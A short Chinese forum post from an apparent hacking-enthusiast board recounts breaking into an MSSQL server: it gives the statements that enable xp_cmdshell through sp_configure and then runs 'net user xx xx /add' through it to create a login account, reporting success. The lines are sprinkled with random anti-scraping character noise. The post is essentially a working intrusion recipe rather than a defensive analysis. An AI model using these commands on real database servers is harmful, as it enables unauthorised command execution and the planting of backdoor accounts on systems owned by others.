2 _! X8 e/ G5 d- k# V" v
于是开始找开启语句,对mssql的玩的少,不是太熟悉! F/ F- K% }4 n0 e
后来二少给我了语句,便去继续日之
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
1为开启,0则为关闭!
然后执行; B5 Y. x8 O" n
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c net user xx xx /add'4 N4 F5 C0 Z9 p. s r
即可/ h7 r l$ |9 v4 |
回过头去看看,发现用户已经成功添加上了!
欢迎光临 【3.A.S.T】网络安全爱好者 (http://www.3ast.com/) | Powered by Discuz! 7.2 |